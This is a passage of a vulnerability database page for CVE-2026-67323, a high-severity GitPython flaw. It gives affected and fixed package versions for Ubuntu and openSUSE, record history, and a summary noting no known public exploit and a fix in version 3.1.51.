Ubuntu:26.10
All versions, plus listed versions
3.1.46-13.1.50-13.1.61-1
None known
python-git
Ubuntu:Pro:26.04:LTS
All versions, plus listed versions
3.1.44-13.1.45-13.1.46-13.1.46-1ubuntu0.1~esm1
None known
python-GitPython
openSUSE:Leap 16.0
From an advisory covering 26 CVEs
before 3.1.44-160000.4.1
3.1.44-160000.4.1

History

History
RecordedChangedSources
affected, facts
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-67323 is a high vulnerability (CVSS 8.6) in Gitpython-developers Gitpython, published July 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.25%, the 69th percentile. Fixed in gitpython 3.1.51.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 53 versions, 330 references and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open